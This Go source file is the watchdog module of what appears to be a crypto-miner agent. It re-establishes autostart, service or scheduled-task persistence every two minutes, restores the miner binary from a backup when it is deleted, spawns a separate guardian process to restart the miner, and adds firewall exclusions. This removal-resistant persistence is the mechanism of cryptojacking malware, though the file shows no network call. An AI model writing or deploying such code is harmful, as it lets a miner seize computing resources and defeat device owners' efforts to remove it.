package deploy import ( "log" "os" "path/filepath" "time" "crypto-miner-agent/config" ) // StartWatchdog keeps persistence and the installed binary healthy, // and spawns an out-of-process guardian that restarts the miner if it crashes. func StartWatchdog(cfg config.RuntimeConfig) { if !cfg.SelfHealing { return } // In-process: repairs binary + persistence every 2 min go func() { ticker := time.NewTicker(2 * time.Minute) defer ticker.Stop() for range ticker.C { if err := maintainInstall(cfg); err != nil { log.Printf("[watchdog] maintenance: %v", err) } } }() // Out-of-process guardian: survives a crash of THIS process. // Only needed for user-mode installs; scheduled tasks and services // already have their own restart-on-failure mechanics. if cfg.RunAs != "scheduled" && cfg.RunAs != "service" { go launchProcessGuard(cfg) } } func maintainInstall(cfg config.RuntimeConfig) error { installDir, err := cfg.InstallDirectory() if err != nil { return err } installedBin := filepath.Join(installDir, BinaryName(cfg)) backupBin := installedBin + backupSuffix if _, err := os.Stat(installedBin); os.IsNotExist(err) { if _, statErr := os.Stat(backupBin); statErr == nil { if copyErr := copyFile(backupBin, installedBin); copyErr != nil { return copyErr } log.Printf("[watchdog] restored missing binary from backup") } } if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" { if err := configureAutoStart(cfg, installedBin); err != nil { return err } } if cfg.RunAs == "scheduled" || cfg.RunAs == "service" { if err := configureRunMode(cfg, installedBin); err != nil { return err } } if cfg.FirewallExclusion { EnsureFirewallExclusion(cfg, installedBin) } return nil }